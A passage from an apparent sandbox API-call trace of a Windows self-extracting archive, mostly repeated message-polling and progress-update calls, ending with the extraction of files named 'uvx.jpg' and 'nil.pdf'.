wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.474] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.474] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.474] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.474] GetTickCount () returned 0x1fbcb [0068.474] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.474] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.474] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.474] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.474] GetTickCount () returned 0x1fbcb [0068.474] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.474] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.474] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.474] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.474] GetTickCount () returned 0x1fbcb [0068.474] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.474] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.474] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.474] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.474] GetTickCount () returned 0x1fbcb [0068.474] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.474] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.474] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.474] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.474] GetTickCount () returned 0x1fbcb [0068.474] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.474] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.474] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.474] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.474] GetTickCount () returned 0x1fbcb [0068.474] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.474] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.474] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.475] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.475] GetTickCount () returned 0x1fbcb [0068.475] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.475] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.475] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.475] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.475] GetTickCount () returned 0x1fbcb [0068.475] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.475] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.475] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.475] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.475] GetTickCount () returned 0x1fbcb [0068.475] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.475] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.475] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.475] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.475] GetTickCount () returned 0x1fbcb [0068.475] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.475] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.475] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.475] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.475] GetTickCount () returned 0x1fbcb [0068.475] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.475] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.475] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.475] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.475] GetTickCount () returned 0x1fbcb [0068.475] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.475] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.475] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.475] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.475] GetTickCount () returned 0x1fbcb [0068.475] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.475] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.475] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.475] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.475] GetTickCount () returned 0x1fbcb [0068.475] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.475] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.475] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.475] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.475] GetTickCount () returned 0x1fbcb [0068.475] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.475] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.475] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.475] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.475] GetTickCount () returned 0x1fbcb [0068.475] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.475] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.475] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.476] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.476] GetTickCount () returned 0x1fbcb [0068.476] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.476] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.476] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.476] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.476] GetTickCount () returned 0x1fbcb [0068.476] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.476] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.476] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.476] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.476] GetTickCount () returned 0x1fbcb [0068.476] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.476] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.476] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.476] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.476] GetTickCount () returned 0x1fbcb [0068.476] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.476] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.476] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.476] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.476] GetTickCount () returned 0x1fbcb [0068.476] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.476] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.476] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.476] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.476] GetTickCount () returned 0x1fbcb [0068.476] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.476] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.476] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.476] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.476] GetTickCount () returned 0x1fbcb [0068.476] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.476] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.476] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.476] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.476] GetTickCount () returned 0x1fbcb [0068.476] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.476] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.476] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.476] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.476] GetTickCount () returned 0x1fbcb [0068.476] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.476] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.476] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.476] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.476] GetTickCount () returned 0x1fbcb [0068.476] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.476] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.476] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.477] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.477] GetTickCount () returned 0x1fbcb [0068.477] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.477] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.477] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.477] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.477] GetTickCount () returned 0x1fbcb [0068.477] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.477] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.477] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.477] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.477] GetTickCount () returned 0x1fbcb [0068.477] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.477] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.477] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.477] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.477] GetTickCount () returned 0x1fbcb [0068.477] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.477] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.477] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.477] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.477] GetTickCount () returned 0x1fbcb [0068.477] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.477] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x25f, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x25f, lpOverlapped=0x0) returned 1 [0068.478] GetTickCount () returned 0x1fbcb [0068.478] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.478] SetFilePointer (in: hFile=0x1c, lDistanceToMove=873658, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd54ba [0068.478] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.478] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.478] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.478] CloseHandle (hObject=0x138) returned 1 [0068.479] SetFileAttributesA (lpFileName="uvx.jpg", dwFileAttributes=0x20) returned 1 [0068.479] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd54ba [0068.479] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.479] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.479] OemToCharA (in: pSrc="nil.pdf", pDst=0x179cc0 | out: pDst="nil.pdf") returned 1 [0068.479] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="nil.pdf", cchCount2=1) returned 1 [0068.479] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="nil.pdf", cchCount2=6) returned 1 [0068.479] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="nil.pdf", cchCount2=-1) returned 1 [0068.479] SetFilePointer (in: hFile=0x1c, lDistanceToMove=873702, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd54e6 [0068.480] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="nil.pdf") returned 8 [0068.480] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x4196b8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.480] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting nil.pdf") returned 18 [0068.480] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting nil.pdf") returned 1 